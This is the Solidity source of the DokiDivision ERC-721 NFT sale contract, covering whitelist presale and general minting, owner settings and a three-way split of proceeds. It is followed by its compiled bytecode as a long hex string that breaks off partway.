// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "./Ownable.sol"; import "./ERC721PresetMinterPauserAutoIdModified.sol"; import "./Address.sol"; contract DokiDivision is ERC721PresetMinterPauserAutoId { using Address for address; bool public presaleIsActive = false; bool public saleIsActive = false; uint256 public MAX_SUPPLY = 10000; uint public DOKI_PRICE = 75000000000000000 wei; uint public MAX_PER_WALLET = 10; uint256 private SHAREHOLDERS = 3; address[3] private shareholders; uint[3] private shares; uint[3] private saleAccrued; uint[3] private saleCap; mapping(address => uint256) public minted; mapping(address => uint256) public whitelisted; event PaymentDisbursed(address to, uint256 amount); event Airdrop(address to); event PresaleMint(address to, uint256 amount); event GeneralMint(address to, uint256 amount); event Whitelist(address to, uint256 amount); constructor( string memory _name, string memory _symbol, string memory _baseURI ) ERC721PresetMinterPauserAutoId(_name, _symbol, _baseURI) { shareholders[0] = 0x504fE78591F69eBa04E87b9c7F0802f973Ca146D; //Niqhtmare shareholders[1] = 0x49282E5E05fE59A724641eE867641b5883C02E58; //Foudres shareholders[2] = 0x80d9629b4D13B9e3176bA1a6daCACF432cfaAd8a; //Slothrop shares[0] = 9050; shares[1] = 450; shares[2] = 500; saleAccrued[0] = 0; saleAccrued[1] = 0; saleAccrued[2] = 0; saleCap[0] = 0; saleCap[1] = 5000000000000000000; saleCap[2] = 0; } function flipPresale(bool status) public onlyOwner() { if (status == false) { disburseFunds(); } presaleIsActive = status; } function flipSale(bool status) public onlyOwner() { if (status == false) { disburseFunds(); } saleIsActive = status; } function setMaxSupply(uint256 max) public onlyOwner() { MAX_SUPPLY = max; } function setMaxMintPerWallet(uint256 max) public onlyOwner() { MAX_PER_WALLET = max; } function setMintPrice(uint256 priceInWei) public onlyOwner() { DOKI_PRICE = priceInWei; } function setWhitelistAddress (address[] memory users, uint[] memory allowedMint) public onlyOwner { for (uint i = 0; i < users.length; i++) { whitelisted[users[i]] = allowedMint[i]; emit Whitelist(users[i], allowedMint[i]); } } function disburseFunds() public onlyOwner { uint256 totalShares = 10000; uint256 amount = address(this).balance; for (uint256 i = 0; i < SHAREHOLDERS; i++) { uint256 payment = amount * shares[i] / totalShares; if (saleCap[i] > 0) { if ((saleAccrued[i] + payment) > saleCap[i]) { if (saleCap[i] - saleAccrued[i] > 0) { payment = saleCap[i] - saleAccrued[i]; Address.sendValue(payable(shareholders[i]), payment); saleAccrued[i] += payment; emit PaymentDisbursed(shareholders[i], payment); } else { // if cap is hit, send funds to Niqhtmare Address.sendValue(payable(shareholders[0]), payment); emit PaymentDisbursed(shareholders[0], payment); } } else { Address.sendValue(payable(shareholders[i]), payment); saleAccrued[i] += payment; emit PaymentDisbursed(shareholders[i], payment); } } else { Address.sendValue(payable(shareholders[i]), payment); saleAccrued[i] += payment; emit PaymentDisbursed(shareholders[i], payment); } } } function airdrop(address[] memory winners) public onlyOwner { require(totalSupply() + winners.length < MAX_SUPPLY, "Airdropped amount must keep total supply under MAX SUPPLY"); for (uint256 i = 0; i < winners.length; i++) { mint(winners[i]); emit Airdrop(winners[i]); } } function mintPresale(uint256 _amount) external payable { require(_amount > 0, "Mint amount must be positive integer"); require(presaleIsActive,"Presale must be active"); require(!Address.isContract(msg.sender), "Contracts are not allowed to mint"); require(whitelisted[msg.sender] > 0, "Must be on the whitelist"); require(minted[msg.sender] + _amount <= MAX_PER_WALLET, "Purchase would exceed max tokens for presale"); require(minted[msg.sender] + _amount <= whitelisted[msg.sender], "Purchase would exceed max tokens whitelisted for presale"); require(totalSupply() + _amount <= MAX_SUPPLY, "Purchase would exceed max supply allotted for presale"); require(msg.value >= DOKI_PRICE * _amount, "Ether value sent is not correct"); for(uint i; i < _amount; i++){ mint(msg.sender); } minted[msg.sender] += _amount; emit PresaleMint(msg.sender, _amount); } function mintSale(uint256 _amount) external payable { require(_amount > 0, "Mint amount must be positive integer"); require(!presaleIsActive,"Presale cannot be active during general sale"); require(saleIsActive, "Sale must be active"); require(!Address.isContract(msg.sender), "Contracts are not allowed to mint"); require(minted[msg.sender] + _amount <= MAX_PER_WALLET, "Purchase would exceed max tokens per wallet"); require(totalSupply() + _amount <= MAX_SUPPLY, "Purchase would exceed max supply of tokens"); require(msg.value >= DOKI_PRICE * _amount, "Ether value sent is not correct"); for(uint i; i < _amount; i++) { mint(msg.sender); } minted[msg.sender] += _amount; emit GeneralMint(msg.sender, _amount); } }
0x6080604052600436106103345760003560e01c80635d3c2d23116101b0578063afdf6134116100ec578063d936547e11610095578063eb8d24441161006f578063eb8d244414610972578063f2fde38b14610991578063f4a0a528146109b1578063f759867a146109d157600080fd5b8063d936547e146108c8578063e63ab1e9146108f5578063e985e9c51461092957600080fd5b8063ca15c873116100c6578063ca15c87314610854578063d539139314610874578063d547741f146108a857600080fd5b8063afdf6134146107f4578063b88d4fde14610814578063c87b56dd1461083457600080fd5b80638456cb591161015957806391d148541161013357806391d148541461076457806395d89b41146107aa578063a217fddf146107bf578063a22cb465146107d457600080fd5b80638456cb59146107115780638da5cb5b146107265780639010d07c1461074457600080fd5b806370a082311161018a57806370a08231146106bc578063715018a6146106dc578063729ad39e146106f157600080fd5b80635d3c2d231461065c5780636352211e1461067c5780636f8b44b01461069c57600080fd5b80632f745c591161027f57806342842e0e116102285780634f6ccce7116102025780634f6ccce7146105e457806355f804b31461060457806356798bda146106245780635c975abb1461064457600080fd5b806342842e0e1461059157806342966c68146105b15780634875bccb146105d157600080fd5b806332cb6b0c1161025957806332cb6b0c1461054657806336568abe1461055c5780633f4ba83a1461057c57600080fd5b80632f745c59146104ec5780633031e7c71461050c57806330f72cd41461052c57600080fd5b806314ec993d116102e157806323b872dd116102bb57806323b872dd1461047b578063248a9ca31461049b5780632f2ff15d146104cc57600080fd5b806314ec993d1461042457806318160ddd146104395780631e7269c51461044e57600080fd5b8063081812fc11610312578063081812fc146103b4578063095ea7b3146103ec5780630f2cdd6c1461040e57600080fd5b806301ffc9a714610339578063056a296a1461036e57806306fdde0314610392575b600080fd5b34801561034557600080fd5b50610359610354366004613ee8565b6109e4565b60405190151581526020015b60405180910390f35b34801561037a57600080fd5b5061038460125481565b604051908152602001610365565b34801561039e57600080fd5b506103a76109f5565b6040516103659190614083565b3480156103c057600080fd5b506103d46103cf366004613e8a565b610a87565b6040516001600160a01b039091168152602001610365565b3480156103f857600080fd5b5061040c610407366004613d4e565b610b32565b005b34801561041a57600080fd5b5061038460135481565b34801561043057600080fd5b5061040c610c64565b34801561044557600080fd5b50600b54610384565b34801561045a57600080fd5b50610384610469366004613c1e565b60216020526000908152604090205481565b34801561048757600080fd5b5061040c610496366004613c6c565b610f85565b3480156104a757600080fd5b506103846104b6366004613e8a565b6000908152600160208190526040909120015490565b3480156104d857600080fd5b5061040c6104e7366004613ea3565b61100d565b3480156104f857600080fd5b50610384610507366004613d4e565b61102f565b34801561051857600080fd5b5061040c610527366004613e6f565b6110d7565b34801561053857600080fd5b506010546103599060ff1681565b34801561055257600080fd5b5061038460115481565b34801561056857600080fd5b5061040c610577366004613ea3565b611158565b34801561058857600080fd5b5061040c61117a565b34801561059d57600080fd5b5061040c6105ac366004613c6c565b611222565b3480156105bd57600080fd5b5061040c6105cc366004613e8a565b61123d565b61040c6105df366004613e8a565b6112c4565b3480156105f057600080fd5b506103846105ff366004613e8a565b61164b565b34801561061057600080fd5b5061040c61061f366004613f22565b6116ef565b34801561063057600080fd5b5061040c61063f366004613dad565b611760565b34801561065057600080fd5b50600d5460ff16610359565b34801561066857600080fd5b5061040c610677366004613e6f565b6118b3565b34801561068857600080fd5b506103d4610697366004613e8a565b61192d565b3480156106a857600080fd5b5061040c6106b7366004613e8a565b6119b8565b3480156106c857600080fd5b506103846106d7366004613c1e565b611a17565b3480156106e857600080fd5b5061040c611ab1565b3480156106fd57600080fd5b5061040c61070c366004613d78565b611b15565b34801561071d57600080fd5b5061040c611c93565b34801561073257600080fd5b506000546001600160a01b03166103d4565b34801561075057600080fd5b506103d461075f366004613ec6565b611d37565b34801561077057600080fd5b5061035961077f366004613ea3565b60009182526001602090815260408084206001600160a01b0393909316845291905290205460ff1690565b3480156107b657600080fd5b506103a7611d56565b3480156107cb57600080fd5b50610384600081565b3480156107e057600080fd5b5061040c6107ef366004613d24565b611d65565b34801561080057600080fd5b5061040c61080f366004613e8a565b611e2a565b34801561082057600080fd5b5061040c61082f366004613ca8565b611e89565b34801561084057600080fd5b506103a761084f366004613e8a565b611f17565b34801561086057600080fd5b5061038461086f366004613e8a565b611fff565b34801561088057600080fd5b506103847f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b3480156108b457600080fd5b5061040c6108c3366004613ea3565b612016565b3480156108d457600080fd5b506103846108e3366004613c1e565b60226020526000908152604090205481565b34801561090157600080fd5b506103847f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b34801561093557600080fd5b50610359610944366004613c39565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205460ff1690565b34801561097e57600080fd5b5060105461035990610100900460ff1681565b34801561099d57600080fd5b5061040c6109ac366004613c1e565b612020565b3480156109bd57600080fd5b5061040c6109cc366004613e8a565b6120ff565b61040c6109df366004613e8a565b61215e565b60006109ef82612576565b92915050565b606060038054610a0490614190565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3090614190565b8015610a7d5780601f10610a5257610100808354040283529160200191610a7d565b820191906000526020600020905b815481529060010190602001808311610a6057829003601f168201915b5050505050905090565b6000818152600560205260408120546001600160a01b0316610b165760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152600760205260409020546001600160a01b031690565b6000610b3d8261192d565b9050806001600160a01b0316836001600160a01b03161415610bc75760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610b0d565b336001600160a01b0382161480610be35750610be38133610944565b610c555760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610b0d565b610c5f83836125b4565b505050565b6000546001600160a01b03163314610cbe5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b6127104760005b601454811015610c5f5760008360188360038110610ce557610ce561423c565b0154610cf19085614117565b610cfb9190614103565b90506000601e8360038110610d1257610d1261423c565b01541115610eda57601e8260038110610d2d57610d2d61423c565b015481601b8460038110610d4357610d4361423c565b0154610d4f91906140eb565b1115610ec4576000601b8360038110610d6a57610d6a61423c565b0154601e8460038110610d7f57610d7f61423c565b0154610d8b9190614136565b1115610e7557601b8260038110610da457610da461423c565b0154601e8360038110610db957610db961423c565b0154610dc59190614136565b9050610dee60158360038110610ddd57610ddd61423c565b01546001600160a01b03168261262f565b80601b8360038110610e0257610e0261423c565b016000828254610e1291906140eb565b909155507f157b5f66b25a519470644cc0f60752e61066c8539d0d91532f2ccc1798cd4395905060158360038110610e4c57610e4c61423c565b0154604080516001600160a01b03909216825260208201849052015b60405180910390a1610f72565b610e8160156000610ddd565b601554604080516001600160a01b039092168252602082018390527f157b5f66b25a519470644cc0f60752e61066c8539d0d91532f2ccc1798cd43959101610e68565b610dee60158360038110610ddd57610ddd61423c565b610ef060158360038110610ddd57610ddd61423c565b80601b8360038110610f0457610f0461423c565b016000828254610f1491906140eb565b909155507f157b5f66b25a519470644cc0f60752e61066c8539d0d91532f2ccc1798cd4395905060158360038110610f4e57610f4e61423c565b0154604080516001600160a01b039092168252602082018490520160405180910390a15b5080610f7d816141cb565b915050610cc5565b610f90335b82612748565b6110025760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610b0d565b610c5f838383612850565b6110178282612a35565b6000828152600260205260409020610c5f9082612561565b600061103a83611a17565b82106110ae5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610b0d565b506001600160a01b03919091166000908152600960209081526040808320938352929052205490565b6000546001600160a01b031633146111315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b8061113e5761113e610c64565b601080549115156101000261ff0019909216919091179055565b6111628282612a5c565b6000828152600260205260409020610c5f9082612ae4565b6111a47f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a3361077f565b611218576040805162461bcd60e51b81526020600482015260248101919091527f4552433732315072657365744d696e7465725061757365724175746f49643a2060448201527f6d75737420686176652070617573657220726f6c6520746f20756e70617573656064820152608401610b0d565b611220612af9565b565b610c5f83838360405180602001604052806000815250611e89565b61124633610f8a565b6112b85760405162461bcd60e51b815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f766564000000000000000000000000000000006064820152608401610b0d565b6112c181612b95565b50565b600081116113205760405162461bcd60e51b8152602060048201526024808201527f4d696e7420616d6f756e74206d75737420626520706f73697469766520696e7460448201526332b3b2b960e11b6064820152608401610b0d565b60105460ff16156113995760405162461bcd60e51b815260206004820152602c60248201527f50726573616c652063616e6e6f742062652061637469766520647572696e672060448201527f67656e6572616c2073616c6500000000000000000000000000000000000000006064820152608401610b0d565b601054610100900460ff166113f05760405162461bcd60e51b815260206004820152601360248201527f53616c65206d75737420626520616374697665000000000000000000000000006044820152606401610b0d565b333b156114495760405162461bcd60e51b815260206004820152602160248201527f436f6e74726163747320617265206e6f7420616c6c6f77656420746f206d696e6044820152601d60fa1b6064820152608401610b0d565b601354336000908152602160205260409020546114679083906140eb565b11156114db5760405162461bcd60e51b815260206004820152602b60248201527f507572636861736520776f756c6420657863656564206d617820746f6b656e7360448201527f207065722077616c6c65740000000000000000000000000000000000000000006064820152608401610b0d565b601154816114e8600b5490565b6114f291906140eb565b11156115665760405162461bcd60e51b815260206004820152602a60248201527f507572636861736520776f756c6420657863656564206d617820737570706c7960448201527f206f6620746f6b656e73000000000000000000000000000000000000000000006064820152608401610b0d565b806012546115749190614117565b3410156115c35760405162461bcd60e51b815260206004820152601f60248201527f45746865722076616c75652073656e74206973206e6f7420636f7272656374006044820152606401610b0d565b60005b818110156115e9576115d733612c49565b806115e1816141cb565b9150506115c6565b5033600090815260216020526040812080548392906116099084906140eb565b909155505060408051338152602081018390527ff47202ce83d41fdde29e7c9f6557738e4d78c5bbadd435fe43c0e8f6b93e2b8791015b60405180910390a150565b6000611656600b5490565b82106116ca5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610b0d565b600b82815481106116dd576116dd61423c565b90600052602060002001549050919050565b6000546001600160a01b031633146117495760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b805161175c90600f906020840190613a88565b5050565b6000546001600160a01b031633146117ba5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b60005b8251811015610c5f578181815181106117d8576117d861423c565b6020026020010151602260008584815181106117f6576117f661423c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f447615df38266f7c2e25889e02cfbee3ed7713cc91ac1629e2bbcc955fdc81908382815181106118555761185561423c565b602002602001015183838151811061186f5761186f61423c565b60200260200101516040516118999291906001600160a01b03929092168252602082015260400190565b60405180910390a1806118ab816141cb565b9150506117bd565b6000546001600160a01b0316331461190d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b8061191a5761191a610c64565b6010805460ff1916911515919091179055565b6000818152600560205260408120546001600160a01b0316806109ef5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610b0d565b6000546001600160a01b03163314611a125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b601155565b60006001600160a01b038216611a955760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610b0d565b506001600160a01b031660009081526006602052604090205490565b6000546001600160a01b03163314611b0b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b6112206000612c69565b6000546001600160a01b03163314611b6f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b6011548151600b54611b8191906140eb565b10611bf45760405162461bcd60e51b815260206004820152603960248201527f41697264726f7070656420616d6f756e74206d757374206b65657020746f746160448201527f6c20737570706c7920756e646572204d415820535550504c59000000000000006064820152608401610b0d565b60005b815181101561175c57611c22828281518110611c1557611c1561423c565b6020026020010151612c49565b7f84b8d6a5d5e1034bc8734d8fff0d20ab52702355d302ba88515a311d8ce0dd7d828281518110611c5557611c5561423c565b6020026020010151604051611c7991906001600160a01b0391909116815260200190565b60405180910390a180611c8b816141cb565b915050611bf7565b611cbd7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a3361077f565b611d2f5760405162461bcd60e51b815260206004820152603e60248201527f4552433732315072657365744d696e7465725061757365724175746f49643a2060448201527f6d75737420686176652070617573657220726f6c6520746f20706175736500006064820152608401610b0d565b611220612cc6565b6000828152600260205260408120611d4f9083612d4e565b9392505050565b606060048054610a0490614190565b6001600160a01b038216331415611dbe5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610b0d565b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000546001600160a01b03163314611e845760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b601355565b611e933383612748565b611f055760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610b0d565b611f1184848484612d5a565b50505050565b6000818152600560205260409020546060906001600160a01b0316611fa45760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006064820152608401610b0d565b6000611fae612de3565b90506000815111611fce5760405180602001604052806000815250611d4f565b80611fd884612df2565b604051602001611fe9929190613f97565b6040516020818303038152906040529392505050565b60008181526002602052604081206109ef90612ef0565b6111628282612efa565b6000546001600160a01b0316331461207a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b6001600160a01b0381166120f65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610b0d565b6112c181612c69565b6000546001600160a01b031633146121595760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b0d565b601255565b600081116121ba5760405162461bcd60e51b8152602060048201526024808201527f4d696e7420616d6f756e74206d75737420626520706f73697469766520696e7460448201526332b3b2b960e11b6064820152608401610b0d565b60105460ff1661220c5760405162461bcd60e51b815260206004820152601660248201527f50726573616c65206d75737420626520616374697665000000000000000000006044820152606401610b0d565b333b156122655760405162461bcd60e51b815260206004820152602160248201527f436f6e74726163747320617265206e6f7420616c6c6f77656420746f206d696e6044820152601d60fa1b6064820152608401610b0d565b336000908152602260205260409020546122c15760405162461bcd60e51b815260206004820152601860248201527f4d757374206265206f6e207468652077686974656c69737400000000000000006044820152606401610b0d565b601354336000908152602160205260409020546122df9083906140eb565b11156123535760405162461bcd60e51b815260206004820152602c60248201527f507572636861736520776f756c6420657863656564206d617820746f6b656e7360448201527f20666f722070726573616c6500000000000000000000000000000000000000006064820152608401610b0d565b3360009081526022602090815260408083205460219092529091205461237a9083906140eb565b11156123ee5760405162461bcd60e51b815260206004820152603860248201527f507572636861736520776f756c6420657863656564206d617820746f6b656e7360448201527f2077686974656c697374656420666f722070726573616c6500000000000000006064820152608401610b0d565b601154816123fb600b5490565b61240591906140eb565b11156124795760405162461bcd60e51b815260206004820152603560248201527f507572636861736520776f756c6420657863656564206d617820737570706c7960448201527f20616c6c6f7474656420666f722070726573616c6500000000000000000000006064820152608401610b0d565b806012546124879190614117565b3410156124d65760405162461bcd60e51b815260206004820152601f60248201527f45746865722076616c75652073656e74206973206e6f7420636f7272656374006044820152606401610b0d565b60005b818110156124fc576124ea33612c49565b806124f4816141cb565b9150506124d9565b50336000908152602160205260408120805483929061251c9084906140eb565b909155505060408051338152602081018390527ff5df7d07fef0d8ac7581015ebd1a3b7b7760da84b12f0c8174ae0dcd639cb6a39101611640565b61175c8282612f21565b6000611d4f836001600160a01b038416612fa8565b60006001600160e01b031982167f780e9d630000000000000000000000000000000000000000000000000000000014806109ef57506109ef82612ff7565b6000818152600760205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915581906125f68261192d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b8047101561267f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610b0d565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146126cc576040519150601f19603f3d011682016040523d82523d6000602084013e6126d1565b606091505b5050905080610c5f5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610b0d565b6000818152600560205260408120546001600160a01b03166127d25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610b0d565b60006127dd8361192d565b9050806001600160a01b0316846001600160a01b031614806128185750836001600160a01b031661280d84610a87565b6001600160a01b0316145b8061284857506001600160a01b0380821660009081526008602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166128638261192d565b6001600160a01b0316146128df5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610b0d565b6001600160a01b03821661295a5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610b0d565b612965838383613069565b6129706000826125b4565b6001600160a01b0383166000908152600660205260408120805460019290612999908490614136565b90915550506001600160a01b03821660009081526006602052604081208054600192906129c79084906140eb565b9091555050600081815260056020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60008281526001602081905260409091200154612a528133613074565b610c5f8383612f21565b6001600160a01b0381163314612ada5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c6600000000000000000000000000000000006064820152608401610b0d565b61175c82826130f4565b6000611d4f836001600160a01b038416613177565b600d5460ff16612b4b5760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610b0d565b600d805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6000612ba08261192d565b9050612bae81600084613069565b612bb96000836125b4565b6001600160a01b0381166000908152600660205260408120805460019290612be2908490614136565b9091555050600082815260056020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b612c5b81612c56600e5490565b61326a565b6112c1600e80546001019055565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d5460ff1615612d195760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610b0d565b600d805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612b783390565b6000611d4f83836133c5565b612d65848484612850565b612d71848484846133ef565b611f115760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610b0d565b6060600f8054610a0490614190565b606081612e165750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612e405780612e2a816141cb565b9150612e399050600a83614103565b9150612e1a565b60008167ffffffffffffffff811115612e5b57612e5b614252565b6040519080825280601f01601f191660200182016040528015612e85576020820181803683370190505b5090505b841561284857612e9a600183614136565b9150612ea7600a866141e6565b612eb29060306140eb565b60f81b818381518110612ec757612ec761423c565b60200101906001600160f81b031916908160001a905350612ee9600a86614103565b9450612e89565b60006109ef825490565b60008281526001602081905260409091200154612f178133613074565b610c5f83836130f4565b60008281526001602090815260408083206001600160a01b038516845290915290205460ff1661175c5760008281526001602081815260408084206001600160a01b0386168086529252808420805460ff19169093179092559051339285917f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d9190a45050565b6000818152600183016020526040812054612fef575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556109ef565b5060006109ef565b60006001600160e01b031982167f80ac58cd00000000000000000000000000000000000000000000000000000000148061305a57506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806109ef57506109ef82613552565b610c5f838383613590565b60008281526001602090815260408083206001600160a01b038516845290915290205460ff1661175c576130b2816001600160a01b03166014613614565b6130bd836020613614565b6040516020016130ce929190613fc6565b60408051601f198184030181529082905262461bcd60e51b8252610b0d91600401614083565b60008281526001602090815260408083206001600160a01b038516845290915290205460ff161561175c5760008281526001602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000818152600183016020526040812054801561326057600061319b600183614136565b85549091506000906131af90600190614136565b90508181146132145760008660000182815481106131cf576131cf61423c565b90600052602060002001549050808760000184815481106131f2576131f261423c565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061322557613225614226565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506109ef565b60009150506109ef565b6001600160a01b0382166132c05760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610b0d565b6000818152600560205260409020546001600160a01b0316156133255760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610b0d565b61333160008383613069565b6001600160a01b038216600090815260066020526040812080546001929061335a9084906140eb565b9091555050600081815260056020526040808220805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008260000182815481106133dc576133dc61423c565b9060005260206000200154905092915050565b60006001600160a01b0384163b1561354757604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290613433903390899088908890600401614047565b602060405180830381600087803b15801561344d57600080fd5b505af192505050801561347d575060408051601f3d908101601f1916820190925261347a91810190613f05565b60015b61352d573d8080156134ab576040519150601f19603f3d011682016040523d82523d6000602084013e6134b0565b606091505b5080516135255760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610b0d565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612848565b506001949350505050565b60006001600160e01b031982167f5a05180f0000000000000000000000000000000000000000000000000000000014806109ef57506109ef826137d9565b61359b838383613840565b600d5460ff1615610c5f5760405162461bcd60e51b815260206004820152602b60248201527f4552433732315061757361626c653a20746f6b656e207472616e73666572207760448201527f68696c65207061757365640000000000000000000000000000000000000000006064820152608401610b0d565b60606000613623836002614117565b61362e9060026140eb565b67ffffffffffffffff81111561364657613646614252565b6040519080825280601f01601f191660200182016040528015613670576020820181803683370190505b509050600360fc1b8160008151811061368b5761368b61423c565b60200101906001600160f81b031916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106136d6576136d661423c565b60200101906001600160f81b031916908160001a90535060006136fa846002614117565b6137059060016140eb565b90505b600181111561378a577f303132333435363738396162636465660000000000000000000000000000000085600f16601081106137465761374661423c565b1a60f81b82828151811061375c5761375c61423c565b60200101906001600160f81b031916908160001a90535060049490941c9361378381614179565b9050613708565b508315611d4f5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610b0d565b60006001600160e01b031982167f796